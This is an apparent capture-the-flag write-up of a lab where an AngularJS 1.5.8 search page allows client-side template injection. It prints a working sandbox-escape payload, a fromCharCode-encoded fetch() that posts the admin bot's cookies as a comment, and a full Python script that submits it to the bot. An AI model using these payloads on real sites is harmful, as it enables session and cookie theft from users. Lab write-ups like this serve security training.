Lab 202 — WikiVault — AngularJS Client-Side Template Injection (XSS)
Lab 202 — WikiVault — AngularJS Client-Side Template Injection (XSS)
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-08 | Status: Solved Techniques: admin_bot_exploitation, angularjs_csti_sandbox_escape, function_constructor_arbitrary_js, non_httponly_cookie_theft, same_origin_data_exfiltration_via_comments, string_fromcharcode_parser_bypass
Summary
Task: collaborative wiki platform with AngularJS 1.5.8 search page reflecting user input inside ng-app div without encoding curly braces; admin bot visits reported URLs. Solution: AngularJS CSTI with sandbox escape via charAt/trim override, Function constructor with String.fromCharCode to execute arbitrary JS, exfiltrate admin's non-HttpOnly flag cookie via same-origin comment POST.
Lab 202 — WikiVault — AngularJS Client-Side Template Injection (XSS) — Hackadvisor
Description
WikiVault is a collaborative knowledge base platform built by Lumino Software. Teams use it to create, organize, and search articles across their organization. The platform features a rich article browser with categorized navigation, full-text search, user profiles, comments, and a page reporting system for content moderation. An admin bot periodically reviews reported pages to enforce community guidelines.
Mission: Find a way to compromise the admin's session and capture the flag stored in their browser.
- URL:
https://6f742f80-ae58-4b04-ab0a-81c3b1d90b5f.labs.hackadvisor.io/ - Credentials:
user@test.com / password123
Analysis
Reconnaissance
- Stack: Express.js/Node.js with Bulma CSS framework
- Key pages:
/articles,/search,/profile,/report - Authentication: POST
/loginwith email/password, returns HttpOnlyconnect.sidsession cookie - Report page: POST
/reportwithurl=...— admin bot visits the submitted URL (acceptshttp://localhost:8080/...format) - Decoy flag: Every page contains
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML comments — a honeypot to trick automated scanners and LLMs - No CSP header.
X-XSS-Protection: 1; mode=blockpresent but irrelevant for modern browsers - Response headers:
X-Powered-By: Express
Vulnerability Discovery — AngularJS CSTI on Search Page
The search page at /search?q=QUERY has a critical combination of factors:
- AngularJS 1.5.8 is loaded:
<script src="/vendor/js/angular.min.js"></script> - The search results div has
ng-appattribute:<div ng-app id="search-results"> - The query parameter
qis reflected unescaped (for{{ }}characters) inside theng-appdiv in two places:Showing results for: "{{PAYLOAD}}"No articles matching "{{PAYLOAD}}" were found.
The server HTML-encodes quotes (' → ', " → ") and angle brackets, but does NOT encode curly braces {{ }}. Since AngularJS reads DOM text content (where HTML entities are already decoded by the browser), the AngularJS expression parser sees the original unencoded characters.
Proof of concept: {{7*7}} in the search query renders as 49 in the browser — confirming Client-Side Template Injection (CSTI).
AngularJS 1.5.8 Sandbox Escape
AngularJS 1.5.8 has a sandbox that prevents direct access to window, document, and the Function constructor from expressions. The sandbox escape used was the Gareth Heyes (PortSwigger) technique combined with Ian Hickey's variant for 1.5.x:
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,CODE,a');}}
This works by:
- Overriding
String.prototype.charAtwithString.prototype.trim - This causes AngularJS's
isIdentfunction to misparse identifiers in$eval - The code inside
$evalgets injected into the rewritten function string and executed as raw JavaScript
However, the rewritten code context limits what can be done — Angular's parser still processes identifiers inside $eval. To execute truly arbitrary JavaScript, the Function constructor was accessed via [].fill.constructor (which is Function), and String.fromCharCode() was used to build the JS code string opaquely so Angular's parser couldn't interfere:
{{a=toString().constructor.prototype;a.charAt=a.trim;$eval('a,[].fill.constructor(String.fromCharCode(CODE_CHARS))(),a');}}
Exfiltration Challenges
Several exfiltration methods were tried and failed:
| Method | Result |
|---|---|
| External webhook (webhook.site) | Bot sandbox blocks outbound HTTP requests ❌ |
document.cookie via interaction server | Interaction server reachable, but document.cookie appeared empty (HttpOnly session cookie) ❌ |
Complex JS in $eval without Function() wrapper | Angular's parser mangled identifiers like document, localStorage ❌ |
Function("code with quotes")() directly | Angular parsed the string content; needed String.fromCharCode to make it opaque ❌ |
new Image().src, location=, navigator.sendBeacon | Only fetch() worked in the rewritten code context ❌ |
POST body, .then() chains, btoa(), JSON.stringify() in $eval | Angular's parser interfered ❌ |
| |
Key insight: The bot sandbox blocks all outbound requests. The only way to exfiltrate data is via same-origin requests — using the application's own functionality.
Solution
Step 1: Identify Same-Origin Exfiltration Channel
The application has a comment feature on articles. Any authenticated user can POST comments to /articles/{id}/comments. Since the admin bot is authenticated and the XSS runs in the same origin, we can use fetch() to POST the admin's data as a comment on an article we can read.
Step 2: Craft the JavaScript Payload
The JavaScript code to exfiltrate document.cookie via a comment:
javascript read-only • copy allowedfetch('/articles/1/comments',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'content=COOKIE:'+document.cookie})
Step 3: Encode via String.fromCharCode
Convert the JS code to character codes to bypass Angular's parser:
python read-only • copy allowed#!/usr/bin/env python3 """WikiVault - AngularJS 1.5.8 CSTI + Sandbox Escape + Same-Origin Exfiltration""" import requests import urllib.parse BASE_URL = "https://6f742f80-ae58-4b04-ab0a-81c3b1d90b5f.labs.hackadvisor.io" # Login session = requests.Session() session.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123" }, allow_redirects=False) # JavaScript to exfiltrate document.cookie via article comment js_code = "fetch('/articles/1/comments',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'content=COOKIE:'+document.cookie})" # Convert to String.fromCharCode to bypass Angular's parser char_codes = ','.join(str(ord(c)) for c in js_code) # AngularJS 1.5.8 sandbox escape payload # Technique: override charAt with trim to break isIdent parsing # Then use Function constructor via [].fill.constructor to execute arbitrary JS payload = ( "{{a=toString().constructor.prototype;" "a.charAt=a.trim;" f"$eval('a,[].fill.constructor(String.fromCharCode({char_codes}))(),a');}}}}" ) # Build search URL for the admin bot (localhost:8080 format) search_url = f"http://localhost:8080/search?q={urllib.parse.quote(payload, safe='')}" # Report URL to admin bot resp = session.post(f"{BASE_URL}/report", data={"url": search_url}) print(f"[*] Report submitted: {resp.status_code}") # Wait for bot, then check article 1 comments import time time.sleep(20) resp = session.get(f"{BASE_URL}/articles/1") print(resp.text) # Look for COOKIE: comment from admin
Step 4: Submit to Admin Bot
The payload was URL-encoded and submitted as a search query URL via the report form:
POST /report
Content-Type: application/x-www-form-urlencoded
url=http://localhost:8080/search?q=%7B%7Ba%3DtoString()...%7D%7D
The admin bot visited the URL → AngularJS evaluated the CSTI expression → sandbox escape executed the Function() constructor with the fromCharCode-encoded JS → which POSTed document.cookie as a comment on article 1.
Step 5: Retrieve the Flag
After the bot processed the report, checking article 1's comments revealed:
[Admin]: COOKIE:flag=FLAG{REDACTED}
The flag was stored in a non-HttpOnly cookie named flag in the admin's browser, separate from the HttpOnly connect.sid session cookie.